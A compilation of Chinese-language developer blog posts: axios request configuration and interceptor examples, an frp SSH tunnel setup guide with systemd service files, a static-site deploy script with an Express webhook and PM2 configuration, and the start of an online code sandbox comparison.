  withCredentials?: boolean;

  // 自定义请求适配器（xhr / http / fetch）
  adapter?: AxiosAdapterConfig | AxiosAdapterConfig[];

  // HTTP 基础认证（Authorization: Basic）
  auth?: AxiosBasicCredentials;

  // 响应数据类型（json / blob / arraybuffer 等）
  responseType?: ResponseType;

  // 响应编码（Node.js 环境）
  responseEncoding?: responseEncoding | string;

  // XSRF 防护：cookie 名称
  xsrfCookieName?: string;

  // XSRF 防护：header 名称
  xsrfHeaderName?: string;

  // 上传进度回调（仅浏览器）
  onUploadProgress?: (progressEvent: AxiosProgressEvent) => void;

  // 下载进度回调（浏览器 / Node）
  onDownloadProgress?: (progressEvent: AxiosProgressEvent) => void;

  // 响应内容最大长度（Node.js）
  maxContentLength?: number;

  // 自定义 HTTP 状态码校验规则
  validateStatus?: ((status: number) => boolean) | null;

  // 请求体最大大小（Node.js）
  maxBodyLength?: number;

  // 最大重定向次数（Node.js）
  maxRedirects?: number;

  // 请求限速（上传 / 下载）
  maxRate?: number | [MaxUploadRate, MaxDownloadRate];

  // 重定向前的回调（Node.js）
  beforeRedirect?: (
    options: Record<string, any>,
    responseDetails: {
      headers: Record<string, string>,
      statusCode: HttpStatusCode
    }
  ) => void;

  // Unix Socket 路径（Node.js）
  socketPath?: string | null;

  // 自定义底层传输实现
  transport?: any;

  // 自定义 HTTP Agent（Node.js）
  httpAgent?: any;

  // 自定义 HTTPS Agent（Node.js）
  httpsAgent?: any;

  // 代理配置，false 表示禁用代理
  proxy?: AxiosProxyConfig | false;

  // 取消请求的 token（旧方案）
  cancelToken?: CancelToken;

  // 是否自动解压响应数据（Node.js）
  decompress?: boolean;

  // Axios 过渡期配置（兼容旧行为）
  transitional?: TransitionalOptions;

  // AbortController 信号（推荐的取消请求方式）
  signal?: GenericAbortSignal;

  // 是否启用不安全的 HTTP 解析器（Node.js）
  insecureHTTPParser?: boolean;

  // 运行环境相关配置（fetch / Request / Response）
  env?: {
    FormData?: new (...args: any[]) => object;
    fetch?: (input: URL | Request | string, init?: RequestInit) => Promise<Response>;
    Request?: new (input: URL | Request | string, init?: RequestInit) => Request;
    Response?: new (
      body?: ArrayBuffer | ArrayBufferView | Blob | FormData | URLSearchParams | string | null,
      init?: ResponseInit
    ) => Response;
  };

  // 表单数据序列化配置
  formSerializer?: FormSerializerOptions;

  // IP 地址族（IPv4 / IPv6）
  family?: AddressFamily;

  // 自定义 DNS lookup 方法（Node.js）
  lookup?: (
    (hostname: string, options: object, cb: (
      err: Error | null,
      address: LookupAddress | LookupAddress[],
      family?: AddressFamily
    ) => void)
    |
    ((hostname: string, options: object) => Promise<
      [address: LookupAddressEntry | LookupAddressEntry[], family?: AddressFamily]
      | LookupAddress
    >)
  );

  // 是否自动携带 XSRF token（或动态判断）
  withXSRFToken?: boolean | ((config: InternalAxiosRequestConfig) => boolean | undefined);

  // JSON.parse 时的 reviver 函数
  parseReviver?: (this: any, key: string, value: any) => any;

  // fetch API 的额外配置（不含 body / headers / method / signal）
  fetchOptions?: Omit<RequestInit, 'body' | 'headers' | 'method' | 'signal'> | Record<string, any>;

  // HTTP 协议版本（1 或 2）
  httpVersion?: 1 | 2;

  // HTTP/2 专用配置
  http2Options?: Record<string, any> & {
    sessionTimeout?: number;
  };
}
```

:::

发起一个 post 请求

```js
axios({
  method: 'post',
  url: '/user/12345',
  data: {
    firstName: 'Fred',
    lastName: 'Flintstone'
  }
});
```

在 node.js 用 GET 请求获取远程图片

```ts
axios({
  method: 'get',
  url: 'http://bit.ly/2mTM3nY',
  responseType: 'stream'
})
  .then(function (response) {
    response.data.pipe(fs.createWriteStream('ada_lovelace.jpg'))
  });
```

**axios(url \[, config])**

发起一个 GET 请求 (默认请求方式)

```ts
axios('/user/12345');
```

## 请求方式别名

为了方便起见，已经为所有支持的请求方法提供了别名。

* `axios.request(config)`
* `axios.get(url [, config])`
* `axios.delete(url [, config])`
* `axios.head(url [, config])`
* `axios.options(url [, config])`
* `axios.post(url [, data[, config]])`
* `axios.put(url [, data[, config]])`
* `axios.patch(url [, data[, config]])`
* `axios.postForm(url [, data[, config]])`
* `axios.putForm(url [, data[, config]])`
* `axios.patchForm(url [, data[, config]])`

**注意**：在使用别名方法时， `url`、`method`、`data` 这些属性都不必在配置中指定。

## 实例

使用自定义配置新建一个实例

**axios.create(\[config])**

```js
const instance = axios.create({
  baseURL: 'https://some-domain.com/api/',
  timeout: 1000,
  headers: {'X-Custom-Header': 'foobar'}
});
```

以下是可用的实例方法。指定的配置将与实例的配置合并。

* `axios#request(config)`
* `axios#get(url[, config])`
* `axios#delete(url[, config])`
* `axios#head(url[, config])`
* `axios#options(url[, config])`
* `axios#post(url[, data[, config]])`
* `axios#put(url[, data[, config]])`
* `axios#patch(url[, data[, config]])`
* `axios#getUri([config])`

除了像 `instance.get()` 或 `instance.post()` 这样的便捷方法外，您还可以直接用配置对象调用 Axios 实例。这与 `axios(config)` 的用法相同，**适用于需要基于原始配置重新发送请求的场景**。

```js
const instance = axios.create({ baseURL: '/api' });

// 类似于 axios(config)
instance({
  url: '/users',
  method: 'get'
});
```

这种方式便于实现重试逻辑，例如处理认证失败时：

```js
instance.interceptors.response.use(undefined, async (error) => {
  if (error.response?.status === 401) {
    await refreshToken();
    return instance(error.config); // 重新发送原始请求
  }

  throw error;
});
```

**企业级 Axios 封装**

有两种意义上的“全局”

真·全局（`axios` 默认实例）

```js
axios.interceptors.request.use(...)
axios.interceptors.response.use(...)
```

**不推荐**，原因：

* 污染所有 axios 使用场景
* 第三方库用 axios 也会被你拦截

推荐全局使用统一的 axios 实例 + 统一拦截策略

```js
// 所有请求都用这个 instance
export default instance;
```

::: details **request.ts**

```js
// src/api/request.ts
import axios, {
  AxiosInstance,
  AxiosRequestConfig,
  AxiosResponse
} from 'axios';

/* ==== ==== ==== ==== ==== Token 工具（示例） ==== ==== ==== ==== ==== */

function getToken() {
  return localStorage.getItem('access_token');
}

function setToken(token: string) {
  localStorage.setItem('access_token', token);
}

// 模拟刷新 token
async function refreshToken(): Promise<string> {
  const res = await axios.post('/refresh-token');
  const newToken = res.data.token;
  setToken(newToken);
  return newToken;
}

/* ==== ==== ==== ==== ==== 创建实例 ==== ==== ==== ==== ==== */

const instance: AxiosInstance = axios.create({
  baseURL: 'http://localhost:3000',
  timeout: 5000,
  withCredentials: true // 是否携带 cookie（按需）
});

/* ==== ==== ==== ==== ==== 请求拦截器 ==== ==== ==== ==== ==== */

instance.interceptors.request.use(
  (config: AxiosRequestConfig) => {
    const token = getToken();

    // 自动注入 token
    if (token && config.headers) {
      config.headers.Authorization = `Bearer ${token}`;
    }

    // 这里可以：
    // - 打 loading
    // - 统一加语言、租户 ID
    // - 参数签名
    return config;
  },
  (error) => {
    // 请求还没发出去就失败
    return Promise.reject(error);
  }
);

/* ==== ==== ==== ==== ==== 响应拦截器（核心） ==== ==== ==== ==== ==== */

// 是否正在刷新 token
let isRefreshing = false;

// 刷新期间的请求队列
let requestQueue: Array<(token: string) => void> = [];

instance.interceptors.response.use(
  (response: AxiosResponse) => {
    // 👉 统一返回 data，业务层更干净
    return response.data;
  },
  async (error) => {
    const { response, config } = error;

    // 没有 response，一般是网络错误 / 超时
    if (!response) {
      console.error('网络异常');
      return Promise.reject(error);
    }

    /* ==== ==== == 401：token 失效处理 == ==== ==== */
    if (response.status === 401 && !config._retry) {
      config._retry = true;

      // 已经在刷新 token，把请求放进队列
      if (isRefreshing) {
        return new Promise(resolve => {
          requestQueue.push((token: string) => {
            config.headers.Authorization = `Bearer ${token}`;
            resolve(instance(config));
          });
        });
      }

      isRefreshing = true;

      try {
        const newToken = await refreshToken();
        isRefreshing = false;

        // 执行队列中的请求
        requestQueue.forEach(cb => cb(newToken));
        requestQueue = [];

        // 重试当前请求
        config.headers.Authorization = `Bearer ${newToken}`;
        return instance(config);
      } catch (e) {
        isRefreshing = false;
        requestQueue = [];

        // 👉 刷新失败：通常需要登出
        console.error('登录已过期');
        // redirectToLogin();
        return Promise.reject(e);
      }
    }

    /* ==== ==== == 其他全局错误处理 == ==== ==== */
    switch (response.status) {
      case 403:
        console.error('没有权限');
        break;
      case 500:
        console.error('服务器错误');
        break;
      default:
        console.error('请求错误', response.status);
    }

    return Promise.reject(error);
  }
);

export default instance;
```

:::

## 请求配置

这些是创建请求时可以用的配置选项。只有 `url` 是必需的。如果没有指定 `method`，请求将默认使用 `GET` 方法。

```js
{
  // `url` 是用于请求的服务器 URL
  url: '/user',

  // `method` 是创建请求时使用的方法
  method: 'get', // 默认值

  // `baseURL` 将自动加在 `url` 前面，除非 `url` 是一个绝对 URL。
  // 它可以通过设置一个 `baseURL` 便于为 axios 实例的方法传递相对 URL
  baseURL: 'https://some-domain.com/api/',

  // `transformRequest` 允许在向服务器发送前，修改请求数据
  // 它只能用于 'PUT', 'POST' 和 'PATCH' 这几个请求方法
  // 数组中最后一个函数必须返回一个字符串， 一个 Buffer 实例，ArrayBuffer，FormData，或 Stream
  // 你可以修改请求头。
  transformRequest: [function (data, headers) {
    // 对发送的 data 进行任意转换处理

    return data;
  }],

  // `transformResponse` 在传递给 then/catch 前，允许修改响应数据
  transformResponse: [function (data) {
    // 对接收的 data 进行任意转换处理

    return data;
  }],

  // 自定义请求头
  headers: {'X-Requested-With': 'XMLHttpRequest'},

  // `params` 是与请求一起发送的 URL 参数
  // 必须是一个简单对象或 URLSearchParams 对象
  params: {
    ID: 12345
  },

  // `paramsSerializer` 是一个可选配置，允许您自定义序列化 `params`。
  paramsSerializer: {

    //自定义编码器函数，以迭代方式发送键/值对。
    encode?: (param: string): string => { /* 在这里进行自定义操作并返回转换后的字符串 */ }, 
    
    // 整个参数的自定义序列化器函数。允许用户模仿 1.x 之前的行为。
    serialize?: (params: Record<string, any>, options?: ParamsSerializerOptions ), 
    
    //用于格式化参数中数组索引的配置。
    indexes: false // 三个可用选项：
    // (1) indexes: null (导致没有括号), 
    // (2) (default) indexes: false (导致空括号),
    // (3) indexes: true (引导空字符串).    
  },

  // `data` 是作为请求体被发送的数据
  // 仅适用 'PUT', 'POST', 'DELETE 和 'PATCH' 请求方法
  // 在没有设置 `transformRequest` 时，则必须是以下类型之一:
  // - string, plain object, ArrayBuffer, ArrayBufferView, URLSearchParams
  // - 浏览器专属: FormData, File, Blob
  // - Node 专属: Stream, Buffer
  data: {
    firstName: 'Fred'
  },
  
  // 发送请求体数据的可选语法
  // 请求方式 post
  // 只有 value 会被发送，key 则不会
  data: 'Country=Brasil&City=Belo Horizonte',

  // `timeout` 指定请求超时的毫秒数。
  // 如果请求时间超过 `timeout` 的值，则请求会被中断
  timeout: 1000, // 默认值是 `0` (永不超时)

  // `withCredentials` 表示跨域请求时是否需要使用凭证
  withCredentials: false, // default

  // `adapter` 允许自定义处理请求，这使测试更加容易。
  // 返回一个 promise 并提供一个有效的响应 （参见 lib/adapters/README.md）。
  adapter: function (config) {
    /* ... */
  },

  // `auth` HTTP Basic Auth
  auth: {
    username: 'janedoe',
    password: 's00pers3cret'
  },

  // `responseType` 表示浏览器将要响应的数据类型
  // 选项包括: 'arraybuffer', 'document', 'json', 'text', 'stream'
  // 浏览器专属：'blob'
  responseType: 'json', // 默认值

  // `responseEncoding` 表示用于解码响应的编码 (Node.js 专属)
  // 注意：忽略 `responseType` 的值为 'stream'，或者是客户端请求
  // Note: Ignored for `responseType` of 'stream' or client-side requests
  responseEncoding: 'utf8', // 默认值

  // `xsrfCookieName` 是 xsrf token 的值，被用作 cookie 的名称
  xsrfCookieName: 'XSRF-TOKEN', // 默认值

  // `xsrfHeaderName` 是带有 xsrf token 值的 http 请求头名称
  xsrfHeaderName: 'X-XSRF-TOKEN', // 默认值

  // `onUploadProgress` 允许为上传处理进度事件
  // 浏览器专属
  onUploadProgress: function (progressEvent) {
    // 处理原生进度事件
  },

  // `onDownloadProgress` 允许为下载处理进度事件
  // 浏览器专属
  onDownloadProgress: function (progressEvent) {
    // 处理原生进度事件
  },

  // `maxContentLength` 定义了 node.js 中允许的 HTTP 响应内容的最大字节数
  maxContentLength: 2000,

  // `maxBodyLength`（仅 Node）定义允许的 http 请求内容的最大字节数
  maxBodyLength: 2000,

  // `validateStatus` 定义了对于给定的 HTTP 状态码是 resolve 还是 reject promise。
  // 如果 `validateStatus` 返回 `true` (或者设置为 `null` 或 `undefined`)，
  // 则 promise 将会 resolved，否则是 rejected。
  validateStatus: function (status) {
    return status >= 200 && status < 300; // 默认值
  },

  // `maxRedirects` 定义了在 node.js 中要遵循的最大重定向数。
  // 如果设置为 0，则不会进行重定向
  maxRedirects: 5, // 默认值

  // `socketPath` 定义了在 node.js 中使用的 UNIX 套接字。
  // e.g. '/var/run/docker.sock' 发送请求到 docker 守护进程。
  // 只能指定 `socketPath` 或 `proxy` 。
  // 若都指定，这使用 `socketPath` 。
  socketPath: null, // default

  // `httpAgent` 和 `httpsAgent` 分别定义了在 node.js 中执行 http 和 https 请求时使用的自定义代理。
  // 这允许添加诸如 `keepAlive` 之类的选项，这些选项在 Node.js v19.0.0 之前默认未启用。
  // 在 Node.js v19.0.0 之后，不再需要自定义代理来启用 `keepAlive`，
  // 因为 `http.globalAgent` 已经默认启用了 `keepAlive`。
  httpAgent: new http.Agent({ keepAlive: true }),
  httpsAgent: new https.Agent({ keepAlive: true }),

  // `proxy` 定义了代理服务器的主机名，端口和协议。
  // 您可以使用常规的 `http_proxy` 和 `https_proxy` 环境变量。
  // 使用 `false` 可以禁用代理功能，同时环境变量也会被忽略。
  // `auth` 表示应使用 HTTP Basic auth 连接到代理，并且提供凭据。
  // 这将设置一个 `Proxy-Authorization` 请求头，它会覆盖 `headers` 中已存在的自定义 `Proxy-Authorization` 请求头。
  // 如果代理服务器使用 HTTPS，则必须设置 protocol 为 `https`
  proxy: {
    protocol: 'https',
    host: '127.0.0.1',
    port: 9000,
    auth: {
      username: 'mikeymike',
      password: 'rapunz3l'
    }
  },

  // see https://axios-http.com/zh/docs/cancellation
  cancelToken: new CancelToken(function (cancel) {
  }),

  // `decompress` indicates whether or not the response body should be decompressed 
  // automatically. If set to `true` will also remove the 'content-encoding' header 
  // from the responses objects of all decompressed responses
  // - Node only (XHR cannot turn off decompression)
  decompress: true // 默认值

}
```

## 响应结构

一个请求的响应包含以下信息。

```js
{
  // `data` 由服务器提供的响应
  data: {},

  // `status` 来自服务器响应的 HTTP 状态码
  status: 200,

  // `statusText` 来自服务器响应的 HTTP 状态信息
  statusText: 'OK',

  // `headers` 是服务器响应头
  // 所有的 header 名称都是小写，而且可以使用方括号语法访问
  // 例如: `response.headers['content-type']`
  headers: {},

  // `config` 是 `axios` 请求的配置信息
  config: {},

  // `request` 是生成此响应的请求
  // 在 node.js 中它是最后一个 ClientRequest 实例 (in redirects)，
  // 在浏览器中则是 XMLHttpRequest 实例
  request: {}
}
```

## 默认配置

### 全局 axios 默认值

```js
axios.defaults.baseURL = 'https://api.example.com';
axios.defaults.headers.common['Authorization'] = AUTH_TOKEN;
axios.defaults.headers.post['Content-Type'] = 'application/x-www-form-urlencoded';
```

### 自定义实例默认值

```js
// 创建实例时配置默认值
const instance = axios.create({
  baseURL: 'https://api.example.com'
});

// 创建实例后修改默认值
instance.defaults.headers.common['Authorization'] = AUTH_TOKEN;
```

### 配置的优先级

配置将会按优先级进行合并。它的顺序是：库默认值，然后是实例的 `defaults` 属性，最后是请求的 `config` 参数。后面的优先级要高于前面的。

```js
// 使用库提供的默认配置创建实例
// 此时超时配置的默认值是 `0`
const instance = axios.create();

// 重写库的超时默认值
// 现在，所有使用此实例的请求都将等待 2.5 秒，然后才会超时
instance.defaults.timeout = 2500;

// 重写此请求的超时时间，因为该请求需要很长时间
instance.get('/longRequest', {
  timeout: 5000
});
```

## 拦截器

在请求或响应被 `then` 或 `catch` 处理前拦截它们。

```js
// 添加请求拦截器
axios.interceptors.request.use(function (config) {
    // 在发送请求之前做些什么
    return config;
  }, function (error) {
    // 对请求错误做些什么
    return Promise.reject(error);
  });

// 添加响应拦截器
axios.interceptors.response.use(function (response) {
    // 2xx 范围内的状态码都会触发该函数。
    // 对响应数据做点什么
    return response;
  }, function (error) {
    // 超出 2xx 范围的状态码都会触发该函数。
    // 对响应错误做点什么
    return Promise.reject(error);
  });
```

如果稍后需要移除拦截器，可以这样：

```js
const myInterceptor = axios.interceptors.request.use(function () {/*...*/});
axios.interceptors.request.eject(myInterceptor);
```

可以给自定义的 axios 实例添加拦截器。

```js
const instance = axios.create();
instance.interceptors.request.use(function () {/*...*/});
```

## 错误处理

```js
axios.get('/user/12345')
  .catch(function (error) {
    if (error.response) {
      // 请求成功发出且服务器也响应了状态码，但状态代码超出了 2xx 的范围
      console.log(error.response.data);
      console.log(error.response.status);
      console.log(error.response.headers);
    } else if (error.request) {
      // 请求已经成功发起，但没有收到响应
      // `error.request` 在浏览器中是 XMLHttpRequest 的实例，
      // 而在 node.js 中是 http.ClientRequest 的实例
      console.log(error.request);
    } else {
      // 发送请求时出了点问题
      console.log('Error', error.message);
    }
    console.log(error.config);
  });
```

使用 `validateStatus` 配置选项，可以自定义抛出错误的 HTTP code。

```js
axios.get('/user/12345', {
  validateStatus: function (status) {
    return status < 500; // 处理状态码小于 500 的情况
  }
})
```

使用 `toJSON` 可以获取更多关于 HTTP 错误的信息。

```js
axios.get('/user/12345')
  .catch(function (error) {
    console.log(error.toJSON());
  });
```

## 取消请求

### AbortController

```js
const controller = new AbortController();

axios.get('/foo/bar', {
   signal: controller.signal
}).then(function(response) {
   //...
});
// 取消请求
controller.abort()
```

### CancelToken deprecated

此 API 从 `v0.22.0` 开始已被弃用，不应在新项目中使用。

## 请求体编码

默认情况下，axios 将 JavaScript 对象序列化为 `JSON` 。 要以 `application/x-www-form-urlencoded` 格式发送数据，您可以使用以下选项之一。

### 浏览器

在浏览器中，可以使用[`URLSearchParams`](https://developer.mozilla.org/en-US/docs/Web/API/URLSearchParams) API，如下所示：

```js
const params = new URLSearchParams();
params.append('param1', 'value1');
params.append('param2', 'value2');
axios.post('/foo', params);
```

请注意，不是所有的浏览器(参见 [caniuse.com](http://www.caniuse.com/#feat=urlsearchparams))都支持 `URLSearchParams` ，但是可以使用[polyfill](https://github.com/WebReflection/url-search-params) (确保 polyfill 全局环境)

或者, 您可以使用[`qs`](https://github.com/ljharb/qs) 库编码数据:

```js
const qs = require('qs');
axios.post('/foo', qs.stringify({ 'bar': 123 }));
```

或者用另一种方式 (ES6),

```js
import qs from 'qs';
const data = { 'bar': 123 };
const options = {
  method: 'POST',
  headers: { 'content-type': 'application/x-www-form-urlencoded' },
  data: qs.stringify(data),
  url,
};
axios(options);
```

### Node.js

#### Query string

在 node.js 中， 可以使用 [`querystring`](https://nodejs.org/api/querystring.html) 模块，如下所示:

```js
const querystring = require('querystring');
axios.post('http://something.com/', querystring.stringify({ foo: 'bar' }));
```

或者从['url module'](https://nodejs.org/api/url.html)中使用['URLSearchParams'](https://nodejs.org/api/url.html#url_class_urlsearchparams)，如下所示:

```js
const url = require('url');
const params = new url.URLSearchParams({ foo: 'bar' });
axios.post('http://something.com/', params.toString());
```

您也可以使用 [`qs`](https://github.com/ljharb/qs) 库。

**注意**：如果需要对嵌套对象进行字符串化处理，则最好使用 `qs` 库，因为 querystring 方法在该用例中存在已知问题(https://github.com/nodejs/node-v0.x-archive/issues/1665)。

#### Form data

在 node.js, 您可以使用 [`form-data`](https://github.com/form-data/form-data) 库，如下所示:

```js
const FormData = require('form-data');
 
const form = new FormData();
form.append('my_field', 'my value');
form.append('my_buffer', new Buffer(10));
form.append('my_file', fs.createReadStream('/foo/bar.jpg'));

axios.post('https://example.com', form, { headers: form.getHeaders() })
```

或者, 使用一个拦截器:

```js
axios.interceptors.request.use(config => {
  if (config.data instanceof FormData) {
    Object.assign(config.headers, config.data.getHeaders());
  }
  return config;
});
```

### 自动序列化

当请求头中的 `content-type` 是 `application/x-www-form-urlencoded` 时，Axios 将自动地将普通对象序列化成 urlencoded 的格式。

在浏览器和 `node.js` 环境中都适用：

```js
const data = {
  x: 1,
  arr: [1, 2, 3],
  arr2: [1, [2], 3],
  users: [{name: 'Peter', surname: 'Griffin'}, {name: 'Thomas', surname: 'Anderson'}],
};

await axios.post('https://postman-echo.com/post', data,
  {headers: {'content-type': 'application/x-www-form-urlencoded'}}
);
```

服务器接收到的数据就像是这样：

```js
  {
    x: '1',
    'arr[]': [ '1', '2', '3' ],
    'arr2[0]': '1',
    'arr2[1][0]': '2',
    'arr2[2]': '3',
    'arr3[]': [ '1', '2', '3' ],
    'users[0][name]': 'Peter',
    'users[0][surname]': 'griffin',
    'users[1][name]': 'Thomas',
    'users[1][surname]': 'Anderson'
  }
```

如果您的服务器框架的请求体解析器（例如`express.js`的`body-parser`）支持嵌套对象解码，则其接收到的数据将与您提交的数据一样。

以下是一个`express.js`的服务器示例，它将会把接收到的数据作为响应返回：

```js
  var app = express();
  
  app.use(bodyParser.urlencoded({ extended: true })); // support url-encoded bodies
  
  app.post('/', function (req, res, next) {
     res.send(JSON.stringify(req.body));
  });

  server = app.listen(3000);
```

## [Multipart 实体请求](https://www.axios-http.cn/docs/multipart)

---

---
url: /posts/7diwrd01/index.md
---
在服务器上安装好 `frp` 服务端，比如通过 1panel 的应用商店安装即可

方案：

* 在云服务器上运行 `frps`（frp 服务端），监听一个端口（例如 `7000` 为 frp 控制端口），并开放一个 TCP 映射端口（例如 `6000`）用于 SSH 转发。

* 在内网的 Ubuntu Server 上运行 `frpc`（frp 客户端），把本地 `192.168.31.223:22` 映射到云服务器的 `6000`。

* 使用 `token`（`auth_token`）做认证，云防火墙/安全组允许对应端口（7000、6000）。

在云服务器上（frps）配置示例

在服务器上创建配置文件 `/etc/frp/frps.toml`（或其他位置）：

比如：`/opt/1panel/apps/frps/frps/data/frps.toml`，如果通过应用商店安装

```toml
[common]
# frps 控制端口（frpc 会连到这个端口）
bind_port = 7000

# 鉴权 token（frpc 必须相同）
token = "my_secret_token_123"

# 可选 dashboard（如不需要可删）
dashboard_addr = "0.0.0.0"
dashboard_port = 7500
dashboard_user = "admin"
dashboard_pwd = "adminpwd123"

# 日志（可按需改路径）
log_file = "/frp/log/frps.log"
log_level = "info"
```

保存后需要重启运行 frps 的容器/应用，使配置生效。

**注意（必须）**：在云厂商控制台/安全组里确保开放：

* TCP 7000（frp 控制端口） — 仅允许 frpc 源或你信任 IP 最好；如果不方便限制也必须开放以便 frpc 连接。
* TCP 6000（或你要使用的 remote\_port） — 允许从你想要连接的 IP（如果需要全球可连，允许 0.0.0.0/0）。

在内网的 Ubuntu（目标机器 192.XXXXX.223）或你本地的 Windows frpc —— 编辑 `frpc.toml`

如果你把 `frpc.exe` 直接跑在那台 Ubuntu VM（推荐），`local_ip` 用 `127.0.0.1`，示例使用的是局域网中的虚拟机设备

```toml
[common]
server_addr = "YOUR_SERVER_IP"
server_port = 7000
token = "my_secret_token_123"

[ssh-remote]
type = "tcp"
local_ip = "192.XXXXX.223"   # 如果 frpc 在同一台 VM 上，可改为 127.0.0.1
local_port = 22
remote_port = 6000
```

先启动 / 重启 frps（云端），确认 frps 正常监听 `bind_port` 并加载了 `frps.toml`。

再启动 frpc（Windows 或内网机器）：

```bash
frpc.exe -c frpc.toml
```

启动后在 frps 日志里应该能看到 frpc 的连接注册信息，日志会显示 client 已连接并已注册 `ssh-remote`。

**Linux启动**：

```bash
chmod +x frpc
sudo ./frpc -c frpc.toml
```

**用 systemd（推荐长期运行）**

创建一个 systemd 服务：

```bash
sudo nano /etc/systemd/system/frpc.service
```

写入内容：

```bash
[Unit]
Description=FRP Client
After=network.target

[Service]
Type=simple
ExecStart=/home/user1/frp/frpc -c /home/user1/frp/frpc.toml
Restart=on-failure

[Install]
WantedBy=multi-user.target
```

然后启动：

```bash
sudo systemctl daemon-reload
sudo systemctl start frpc
sudo systemctl enable frpc   # 开机自启
sudo systemctl status frpc   # 查看状态
sudo systemctl restart frpc  # 重启
```

防止网络未连接成功就启动 FRP

```bash
[Unit]
Description=FRP Client
After=network-online.target
Wants=network-online.target

[Service]
Type=simple
ExecStart=/home/user1/frp/frpc -c /home/user1/frp/frpc.toml
Restart=always
RestartSec=10
User=user1
WorkingDirectory=/home/user1/frp

[Install]
WantedBy=multi-user.target
```

去掉 `User=` 行后，systemd 默认用 root 启动服务。只要 `ExecStart` 和 `WorkingDirectory` 的路径可访问，服务就会以 root 权限运行。

**安全性**：用 root 启动 FRP 意味着 FRP 进程有完整系统权限，如果被攻击可能会带来风险。通常推荐用普通用户启动。

---

---
url: /posts/7diwrd0u/index.md
---
## 静态网站部署（带日志）{#static-website-deployment-with-log}

```shell
#!/bin/bash

# 设置日志文件
LOG_FILE="/root/webhook/blog/deploy.log"

# 获取北京时间函数
now() {
    date -d '+8 hour' +"%Y-%m-%d %H:%M:%S"
}

# 输出日志函数
log() {
    echo "[$(now)] $1" | tee -a "$LOG_FILE"
}

# 错误处理函数
check() {
    if [ $? -ne 0 ]; then
        log "❌ $1 失败，脚本退出"
        exit 1
    fi
}

# 切换到项目目录
cd /root/business/blog || { log "进入项目目录失败"; exit 1; }

# 1. 安装依赖
log "开始执行: pnpm i"
pnpm i >>"$LOG_FILE" 2>&1
check "pnpm i"
log "✅ pnpm i 完成"

# 2. 构建项目
log "开始执行: pnpm build"
# pnpm build >>"$LOG_FILE" 2>&1
# check "pnpm build"
log "✅ pnpm build 完成"

# 3. 清空目标目录
TARGET_DIR="/opt/1panel/www/sites/blog.yumeng.icu/index"
log "清空目录: $TARGET_DIR"
rm -rf "${TARGET_DIR:?}/"*  >>"$LOG_FILE" 2>&1
check "清空目录"
log "✅ 目录清空完成"

# 检查目标路径是否是目录，如果不是，创建目录
if [ ! -d "$TARGET_DIR" ]; then
    mkdir -p "$TARGET_DIR"
    log "✅ 目录 $TARGET_DIR 已创建"
fi

# 4. 移动构建文件
SRC_DIR="/root/business/blog/docs/.vuepress/dist"
log "移动构建文件: $SRC_DIR -> $TARGET_DIR"
mv "$SRC_DIR"/* "$TARGET_DIR"/ >>"$LOG_FILE" 2>&1
check "移动文件"
log "✅ 文件移动完成"

log "🎉 部署完成"
```

```js
// webhook-server.js
const express = require("express");
const { exec } = require("child_process");
const path = require("path");

const app = express();
const PORT = 4000;

// 配置你的验证 token
const SECRET_TOKEN = "yumengjianghu";

// 标记当前是否有构建在执行
let building = false;

// 指定要执行的脚本路径
const SCRIPT_PATH = path.resolve(__dirname, "deploy.sh");

app.post("/webhook", (req, res) => {
  // 验证请求头
  const token = req.headers["x-hook-token"];
  if (!token || token !== SECRET_TOKEN) {
    return res.status(401).json({ success: false, message: "Unauthorized" });
  }

  // 检查是否有构建在执行
  if (building) {
    return res
      .status(429)
      .json({ success: false, message: "Build already in progress" });
  }

  // 标记构建开始
  building = true;

  // 立即返回响应
  res.json({ success: true, message: "Build triggered" });

  // 异步执行脚本
  const child = exec(`bash ${SCRIPT_PATH}`, (error, stdout, stderr) => {
    building = false; // 脚本执行完恢复标记

    if (error) {
      console.error(`❌ Script error: ${error.message}`);
      return;
    }
    if (stderr) {
      console.error(`⚠️ Script stderr: ${stderr}`);
    }
    console.log(`✅ Script stdout: ${stdout}`);
  });

  // 可选：将子进程输出实时打印到控制台
  child.stdout.on("data", (data) => process.stdout.write(data));
  child.stderr.on("data", (data) => process.stderr.write(data));
});

app.listen(PORT, '0.0.0.0' ,() => {
  console.log(`Webhook server running on port ${PORT}`);
});
```

```js
// ecosystem.config.js
module.exports = {
  apps: [
    {
      name: "blog-hooks",           // PM2 进程名字
      script: "npm",                 // 用 npm 启动
      args: "run start",             // 执行 npm 脚本 start
      watch: false,                  // 不监控文件变动
      instances: 1,                  // 单实例运行
      autorestart: true,             // 崩溃或退出自动重启
      max_restarts: 10,              // 最大自动重启次数
      restart_delay: 3000,           // 重启延迟 3 秒，防止循环崩溃
      env: {
        NODE_ENV: "production"       // 环境变量
      },
      out_file: "./logs/out.log",    // 标准输出日志
      error_file: "./logs/error.log",// 错误日志
      log_date_format: "YYYY-MM-DD HH:mm:ss"
    }
  ]
};
```

```bash
pm2 start ecosystem.config.js
```

```bash
pm2 status # 状态
pm2 logs blog-hooks # 日志
```

```bash
pm2 stop blog-hooks
pm2 restart blog-hooks
pm2 delete blog-hooks
```

```bash
# 开机自启动
pm2 startup
pm2 save
```

`pm2 startup` 会生成对应系统的自启动命令。

`pm2 save` 会保存当前进程列表，下次开机自动启动。

* **自动重启**：服务崩溃或退出都会自动重启
* **防止崩溃循环**：`restart_delay` + `max_restarts` 避免短时间重复重启
* **日志管理**：输出日志和错误日志分开，并带时间戳
* **环境变量**：可以区分生产/开发环境

---

---
url: /posts/7vpgtncz/index.md
---
# 在线前端沙盒平台选型
## 核心定位差异

StackBlitz、CodeSandbox、CodePen 都属于“在线开发 / 运行环境”，但设计目标完全不同，不能简单理解为强弱关系，而是技术路线分叉。

* CodePen：前端代码演示与分享
* StackBlitz：浏览器内的 JS/TS 开发环境
* CodeSandbox：浏览器沙盒 + 云端 VM 的双模式平台

## CodePen 的定位与适用场景

CodePen 是最早期、也是最轻量的在线前端工具，更像一个“代码游乐场”。

* 运行环境完全在浏览器
* 只关注 HTML / CSS / JavaScript
* 无 Node、无包管理、无后端能力
* 适合 UI Demo、效果展示、博客示例

适用场景

* 写 CSS 动效
* 分享前端效果
* 快速验证浏览器行为

## StackBlitz 的技术路线

StackBlitz 的核心是 **WebContainer**，通过 WASM 在浏览器中运行 Node.js。

* Node.js 运行在浏览器（非云 VM）
* 支持 npm、Vite、Next、Nuxt（部分）
* 文件系统、端口、进程都映射在浏览器
* 体验接近本地前端开发

技术边界

* 主战场是 JS / TS 生态
* 不支持系统级语言（C/C++/Rust）
* Python / Java 无法作为真实开发环境
* 无 Docker、无系统依赖

适用场景

* 前端工程演示
